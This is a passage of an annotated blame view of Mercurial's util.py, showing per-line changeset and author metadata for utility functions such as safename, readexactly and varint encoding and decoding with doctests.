changeset
|
3758 doc = pycompat.sysstr('``%s``\n %s') % ( |
d955b02d8ec6
util: fix %-formatting on docstring by moving a closing parenthesis
Augie Fackler <augie@google.com>
parents:
31792
diff
changeset
|
3759 bt[0], engine.bundletype.__doc__) |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3760 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3761 value = docobject() |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3762 value.__doc__ = doc |
33818
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3763 value._origdoc = engine.bundletype.__doc__ |
ed04d7254a91
i18n: use saved object to get actual function information if available
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33799
diff
changeset
|
3764 value._origfunc = engine.bundletype |
31792
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3765 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3766 items[bt[0]] = value |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3767 |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3768 return items |
55c0c91f55e6
util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31777
diff
changeset
|
3769 |
33820
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3770 i18nfunctions = bundlecompressiontopics().values() |
fa7e30efe05a
i18n: get translation entries for description of each compression engines
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
33818
diff
changeset
|
3771 |
20244
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3772 # convenient shortcut |
47d0843647d1
util: introduce util.debugstacktrace for showing a stack trace without crashing
Mads Kiilerich <madski@unity3d.com>
parents:
20202
diff
changeset
|
3773 dst = debugstacktrace |
34554
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3774 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3775 def safename(f, tag, ctx, others=None): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3776 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3777 Generate a name that it is safe to rename f to in the given context. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3778 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3779 f: filename to rename |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3780 tag: a string tag that will be included in the new name |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3781 ctx: a context, in which the new name must not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3782 others: a set of other filenames that the new name must not be in |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3783 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3784 Returns a file name of the form oldname~tag[~number] which does not exist |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3785 in the provided context and is not in the set of other names. |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3786 """ |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3787 if others is None: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3788 others = set() |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3789 |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3790 fn = '%s~%s' % (f, tag) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3791 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3792 return fn |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3793 for n in itertools.count(1): |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3794 fn = '%s~%s~%s' % (f, tag, n) |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3795 if fn not in ctx and fn not in others: |
6f11a74d489f
util: add safename function for generating safe names to rename to
Mark Thomas <mbthomas@fb.com>
parents:
34467
diff
changeset
|
3796 return fn |
35754
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3797 |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3798 def readexactly(stream, n): |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3799 '''read n bytes from stream.read and abort if less was available''' |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3800 s = stream.read(n) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3801 if len(s) < n: |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3802 raise error.Abort(_("stream ended unexpectedly" |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3803 " (got %d bytes, expected %d)") |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3804 % (len(s), n)) |
fb0be099063f
util: move 'readexactly' in the util module
Boris Feld <boris.feld@octobus.net>
parents:
35582
diff
changeset
|
3805 return s |
35755
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3806 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3807 def uvarintencode(value): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3808 """Encode an unsigned integer value to a varint. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3809 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3810 A varint is a variable length integer of 1 or more bytes. Each byte |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3811 except the last has the most significant bit set. The lower 7 bits of |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3812 each byte store the 2's complement representation, least significant group |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3813 first. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3814 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3815 >>> uvarintencode(0) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3816 '\\x00' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3817 >>> uvarintencode(1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3818 '\\x01' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3819 >>> uvarintencode(127) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3820 '\\x7f' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3821 >>> uvarintencode(1337) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3822 '\\xb9\\n' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3823 >>> uvarintencode(65536) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3824 '\\x80\\x80\\x04' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3825 >>> uvarintencode(-1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3826 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3827 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3828 ProgrammingError: negative value for uvarint: -1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3829 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3830 if value < 0: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3831 raise error.ProgrammingError('negative value for uvarint: %d' |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3832 % value) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3833 bits = value & 0x7f |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3834 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3835 bytes = [] |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3836 while value: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3837 bytes.append(pycompat.bytechr(0x80 | bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3838 bits = value & 0x7f |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3839 value >>= 7 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3840 bytes.append(pycompat.bytechr(bits)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3841 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3842 return ''.join(bytes) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3843 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3844 def uvarintdecodestream(fh): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3845 """Decode an unsigned variable length integer from a stream. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3846 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3847 The passed argument is anything that has a ``.read(N)`` method. |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3848 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3849 >>> try: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3850 ... from StringIO import StringIO as BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3851 ... except ImportError: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3852 ... from io import BytesIO |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3853 >>> uvarintdecodestream(BytesIO(b'\\x00')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3854 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3855 >>> uvarintdecodestream(BytesIO(b'\\x01')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3856 1 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3857 >>> uvarintdecodestream(BytesIO(b'\\x7f')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3858 127 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3859 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3860 1337 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3861 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3862 65536 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3863 >>> uvarintdecodestream(BytesIO(b'\\x80')) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3864 Traceback (most recent call last): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3865 ... |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3866 Abort: stream ended unexpectedly (got 0 bytes, expected 1) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3867 """ |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3868 result = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3869 shift = 0 |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3870 while True: |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3871 byte = ord(readexactly(fh, 1)) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3872 result |= ((byte & 0x7f) << shift) |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3873 if not (byte & 0x80): |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3874 return result |
2384523cee4d
util: implement varint functions
Gregory Szorc <gregory.szorc@gmail.com>
parents:
35754
diff
changeset
|
3875 shift += 7 |